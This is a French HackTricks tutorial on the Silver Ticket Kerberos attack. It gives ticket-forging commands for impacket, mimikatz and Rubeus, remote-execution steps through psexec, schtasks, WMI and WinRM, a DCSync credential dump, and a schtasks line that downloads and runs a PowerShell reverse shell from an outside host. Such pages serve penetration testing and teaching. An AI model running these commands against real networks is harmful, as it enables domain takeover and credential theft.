Silver Ticket
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Silver ticket
L'attaque Silver Ticket implique l'exploitation des tickets de service dans les environnements Active Directory (AD). Cette méthode repose sur l'acquisition du hachage NTLM d'un compte de service, tel qu'un compte d'ordinateur, pour forger un ticket de service de ticket granting (TGS). Avec ce ticket forgé, un attaquant peut accéder à des services spécifiques sur le réseau, usurpant n'importe quel utilisateur, visant généralement des privilÚges administratifs. Il est souligné que l'utilisation de clés AES pour forger des tickets est plus sécurisée et moins détectable.
Pour la création de tickets, différents outils sont utilisés en fonction du systÚme d'exploitation :
On Linux
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
Sur Windows
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
Le service CIFS est mis en avant comme une cible courante pour accĂ©der au systĂšme de fichiers de la victime, mais d'autres services comme HOST et RPCSS peuvent Ă©galement ĂȘtre exploitĂ©s pour des tĂąches et des requĂȘtes WMI.
Services Disponibles
Type de Service | Tickets Argent Service |
---|---|
WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP Selon le systĂšme d'exploitation Ă©galement : WSMAN RPCSS |
WinRM | HOST HTTP Dans certaines occasions, vous pouvez simplement demander : WINRM |
Tùches Planifiées | HOST |
Partage de Fichiers Windows, aussi psexec | CIFS |
Opérations LDAP, y compris DCSync | LDAP |
Outils d'Administration de Serveur Ă Distance Windows | RPCSS LDAP CIFS |
Tickets en Or | krbtgt |
En utilisant Rubeus, vous pouvez demander tous ces tickets en utilisant le paramĂštre :
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
Identifiants d'ĂvĂ©nements des Tickets Argent
- 4624 : Connexion de Compte
- 4634 : DĂ©connexion de Compte
- 4672 : Connexion Administrateur
Abus des Tickets de Service
Dans les exemples suivants, imaginons que le ticket est récupéré en usurpant le compte administrateur.
CIFS
Avec ce ticket, vous pourrez accéder au dossier C$
et ADMIN$
via SMB (s'ils sont exposés) et copier des fichiers vers une partie du systÚme de fichiers distant juste en faisant quelque chose comme :
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
Vous pourrez également obtenir un shell à l'intérieur de l'hÎte ou exécuter des commandes arbitraires en utilisant psexec :
HĂTE
Avec cette autorisation, vous pouvez générer des tùches planifiées sur des ordinateurs distants et exécuter des commandes arbitraires :
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
HOST + RPCSS
Avec ces tickets, vous pouvez exécuter WMI dans le systÚme de la victime :
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
Trouvez plus d'informations sur wmiexec dans la page suivante :
HĂTE + WSMAN (WINRM)
Avec l'accĂšs winrm sur un ordinateur, vous pouvez y accĂ©der et mĂȘme obtenir un PowerShell :
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
Vérifiez la page suivante pour apprendre plus de façons de se connecter à un hÎte distant en utilisant winrm :
warning
Notez que winrm doit ĂȘtre actif et Ă l'Ă©coute sur l'ordinateur distant pour y accĂ©der.
LDAP
Avec ce privilÚge, vous pouvez extraire la base de données DC en utilisant DCSync :
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
En savoir plus sur DCSync sur la page suivante :
Références
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.